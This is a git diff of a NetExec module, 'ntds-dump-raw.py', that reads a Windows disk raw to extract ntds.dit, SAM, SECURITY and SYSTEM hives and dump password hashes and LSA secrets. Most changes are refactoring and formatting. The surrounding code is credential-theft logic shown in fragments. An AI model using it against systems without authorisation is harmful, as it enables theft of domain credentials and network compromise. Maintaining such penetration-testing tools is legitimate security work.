diff --git a/nxc/modules/ntds-dump-raw.py b/nxc/modules/ntds-dump-raw.py index 6f28adb0..93e7e35e 100644 --- a/nxc/modules/ntds-dump-raw.py +++ b/nxc/modules/ntds-dump-raw.py @@ -83,25 +83,25 @@ class NXCModule: available_options = { "NTDS": "Windows/NTDS/ntds.dit", "LSA": "Windows/System32/config/SECURITY", - "SAM": "Windows/System32/config/SAM"} - selected_files_full_path = [] + "SAM": "Windows/System32/config/SAM" + } + self.files_full_location_to_extract = [] if "TARGET" in module_options: selected_options = module_options["TARGET"].split(",") for option in selected_options: if option in available_options: - selected_files_full_path.append(available_options[option]) + self.files_full_location_to_extract.append(available_options[option]) else: context.log.error(f"Uknown option format : {option}") sys.exit(1) else: - selected_files_full_path.append(available_options["NTDS"]) - selected_files_full_path.append(available_options["SAM"]) - self.add_files_path_to_extract(selected_files_full_path) - - def add_files_path_to_extract(self, selected_files_full_path): - """Add the selected file paths for extraction and including SYSTEM by default""" - selected_files_full_path.append("Windows/System32/config/SYSTEM") - self.files_full_location_to_extract = selected_files_full_path + self.files_full_location_to_extract.append(available_options["NTDS"]) + self.files_full_location_to_extract.append(available_options["SAM"]) + + # Add SYSTEM by default as needed for decryption + self.files_full_location_to_extract.append("Windows/System32/config/SYSTEM") + + # Prepare the files to extract self.files_to_extract = [c_filename.split("/")[-1] for c_filename in self.files_full_location_to_extract] self.number_of_file_to_extract = len(self.files_to_extract) self.extracted_files_location_local = dict.fromkeys(self.files_to_extract, "") @@ -139,7 +139,7 @@ class NXCModule: first_section = self.read_from_disk(0, 1024) if len(first_section) == 0: self.logger.fail("Unable to read the Disk, try changing the --exec-method flag") - if first_section[512 : 512 + 8] == b"EFI PART": + if first_section[512: 512 + 8] == b"EFI PART": self.logger.display("Disk is formated using GPT") NTFS_LOCATION = self.analyze_gpt("\\\\.\\PhysicalDrive0") if NTFS_LOCATION == -1: @@ -149,10 +149,10 @@ class NXCModule: max_parition_size = 0 NTFS_LOCATION = self.bytes_to_int_unsigned(first_section[0x1C6:0x1CA]) * self.SECTOR_SIZE for partition_indx in range(4): - curr_partition_size = self.bytes_to_int_unsigned(first_section[0x1CA + (partition_indx * 0x10) : 0x1CE + (partition_indx * 0x10)]) + curr_partition_size = self.bytes_to_int_unsigned(first_section[0x1CA + (partition_indx * 0x10): 0x1CE + (partition_indx * 0x10)]) if curr_partition_size > max_parition_size: max_parition_size = curr_partition_size - NTFS_LOCATION = self.bytes_to_int_unsigned(first_section[0x1C6 + (partition_indx * 0x10) : 0x1CA + (partition_indx * 0x10)]) * self.SECTOR_SIZE + NTFS_LOCATION = self.bytes_to_int_unsigned(first_section[0x1C6 + (partition_indx * 0x10): 0x1CA + (partition_indx * 0x10)]) * self.SECTOR_SIZE self.logger.display(f"NTFS Location {hex(NTFS_LOCATION)}") self.NTFS_LOCATION = NTFS_LOCATION @@ -180,7 +180,7 @@ class NXCModule: local_operations = LocalOperations(self.extracted_files_location_local["SYSTEM"]) boot_key = local_operations.getBootKey() no_lm_hash = local_operations.checkNoLMHashPolicy() - + # NTDS hashes if "ntds.dit" in self.extracted_files_location_local and self.extracted_files_location_local["ntds.dit"] != "": def add_ntds_hash(ntds_hash, host_id): @@ -233,7 +233,7 @@ class NXCModule: NTDS.dump() except Exception as e: self.logger.fail(e) - + NTDS.finish() # SAM hashes @@ -281,7 +281,13 @@ class NXCModule: # LSA if "SECURITY" in self.extracted_files_location_local and self.extracted_files_location_local["SECURITY"] != "": - LSA = LSASecrets(self.extracted_files_location_local["SECURITY"], boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret)) + LSA = LSASecrets( + self.extracted_files_location_local["SECURITY"], + boot_key, + remoteOps=None, + isRemote=False, + perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret) + ) try: self.logger.success("LSA Secrets:") @@ -300,7 +306,7 @@ class NXCModule: def analyze_NTFS(self, ntfs_header): """Decode the NTFS headers and extract needed infromation from it""" - ntfs_header = ntfs_header[0xB : 0xB + 25 + 48] + ntfs_header = ntfs_header[0xB: 0xB + 25 + 48] header_format = "> 4 curr_datarun_indx += 1 - dataRun_len = dataRun[curr_datarun_indx : curr_datarun_indx + dataRun_startingCluster_nBytes] + dataRun_len = dataRun[curr_datarun_indx: curr_datarun_indx + dataRun_startingCluster_nBytes] dataRun_len = int.from_bytes(dataRun_len, byteorder="little", signed=False) - datarun_startingCluster = dataRun[curr_datarun_indx + dataRun_startingCluster_nBytes : curr_datarun_indx + dataRun_startingCluster_nBytes + dataRun_len_nBytes] + datarun_startingCluster = dataRun[curr_datarun_indx + dataRun_startingCluster_nBytes: curr_datarun_indx + dataRun_startingCluster_nBytes + dataRun_len_nBytes] datarun_cluster_loc = int.from_bytes(datarun_startingCluster, byteorder="little", signed=True) + prev_datarun_loc @@ -483,12 +489,12 @@ class NXCModule: parsed_header = {} while True: - curr_header = self.bytes_to_int_unsigned(curr_sector[curr_index : curr_index + 4]) + curr_header = self.bytes_to_int_unsigned(curr_sector[curr_index: curr_index + 4]) if curr_header == 0xFFFFFFFF or curr_header is None: break - curr_header_len = self.bytes_to_int_unsigned(curr_sector[curr_index + 4 : curr_index + 4 + 4]) - parsed_header[self.ATTRIBUTE_NAMES[curr_header]] = curr_sector[curr_index : curr_index + curr_header_len] + curr_header_len = self.bytes_to_int_unsigned(curr_sector[curr_index + 4: curr_index + 4 + 4]) + parsed_header[self.ATTRIBUTE_NAMES[curr_header]] = curr_sector[curr_index: curr_index + curr_header_len] curr_index = curr_index + curr_header_len return parsed_header @@ -505,13 +511,13 @@ class NXCModule: parsed_header = self.parse_MFT_header(curr_sector[Offset_to_the_first_attribute:]) if "$FILE_NAME" in parsed_header: - filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58 : 0x58 + 1]) - curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18 : 0x18 + 3] + b"\x00") + filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1]) + curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18: 0x18 + 3] + b"\x00") - curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2 : 0x58 + 2 + (filename_lenght * 2)].decode("utf-16") + curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_lenght * 2)].decode("utf-16") if "$DATA" in parsed_header: - dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20 : 0x20 + 1]) + dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20: 0x20 + 1]) dataRun = parsed_header["$DATA"][dataRun_offset:] curr_MFA_sector.dataRun, curr_MFA_sector.size = self.decode_dataRun(dataRun) @@ -550,7 +556,7 @@ class NXCModule: for i in range(num_partition_entries): entry_offset = i * partition_entry_size - partition_entry = partition_table_data[entry_offset : entry_offset + partition_entry_size] + partition_entry = partition_table_data[entry_offset: entry_offset + partition_entry_size] partition_entries.append(partition_entry) return partition_entries